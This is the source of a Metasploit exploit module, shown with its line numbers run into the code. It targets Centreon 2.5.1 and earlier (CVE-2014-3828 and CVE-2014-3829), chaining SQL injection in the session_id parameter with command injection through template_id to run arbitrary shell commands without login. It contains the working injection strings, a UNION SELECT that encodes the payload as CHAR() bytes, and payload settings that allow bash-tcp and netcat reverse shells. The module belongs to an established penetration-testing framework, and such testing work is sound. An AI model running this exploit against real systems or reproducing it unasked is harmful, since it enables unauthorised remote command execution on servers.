Path: blob/master/modules/exploits/linux/http/centreon_sqli_exec.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Centreon SQL and Command Injection',15'Description' => %q{16This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon17Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command18injection in the displayServiceStatus.php component, it is possible to execute arbitrary19commands as long as there is a valid session registered in the centreon.session table.20In order to have a valid session, all it takes is a successful login from anybody.21The exploit itself does not require any authentication.2223This module has been tested successfully on Centreon Enterprise Server 2.2.24},25'License' => MSF_LICENSE,26'Author' => [27'MaZ', # Vulnerability Discovery and Analysis28'juan vazquez' # Metasploit Module29],30'References' => [31['CVE', '2014-3828'],32['CVE', '2014-3829'],33['US-CERT-VU', '298796'],34['URL', 'https://seclists.org/fulldisclosure/2014/Oct/78']35],36'Arch' => ARCH_CMD,37'Platform' => 'unix',38'Payload' => {39'Space' => 1500, # having into account 8192 as max URI length40'DisableNops' => true,41'Compat' =>42{43'PayloadType' => 'cmd cmd_bash',44'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'45}46},47'Targets' => [48['Centreon Enterprise Server 2.2', {}]49],50'Privileged' => false,51'DisclosureDate' => '2014-10-15',52'DefaultTarget' => 0,53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options(62[63OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])64]65)66end6768def check69random_id = rand_text_numeric(5 + rand(8))70res = send_session_id(random_id)7172unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'73return Exploit::CheckCode::Safe74end7576injection = "#{random_id}' or 'a'='a"77res = send_session_id(injection)7879if res && res.code == 20080if res.body && res.body.to_s =~ /sh: graph: command not found/81return Exploit::CheckCode::Vulnerable82elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'83return Exploit::CheckCode::Detected84end85end8687Exploit::CheckCode::Safe88end8990def exploit91if check == Exploit::CheckCode::Safe92fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")93elsif check == Exploit::CheckCode::Detected94fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")95end9697print_status("Exploiting...")98random_id = rand_text_numeric(5 + rand(8))99random_char = rand_text_alphanumeric(1)100session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"101template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"102res = send_template_id(session_injection, template_injection)103104if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/105vprint_status("Output: #{res.body}")106end107end108109def send_session_id(session_id)110res = send_request_cgi(111'method' => 'GET',112'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),113'vars_get' =>114{115'session_id' => session_id116}117)118119res120end121122def send_template_id(session_id, template_id)123res = send_request_cgi({124'method' => 'GET',125'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),126'vars_get' =>127{128'session_id' => session_id,129'template_id' => template_id130}131}, 3)132133res134end135136def mysql_payload137p = ''138payload.encoded.each_byte { |c| p << "#{c}," }139p140end141end142143144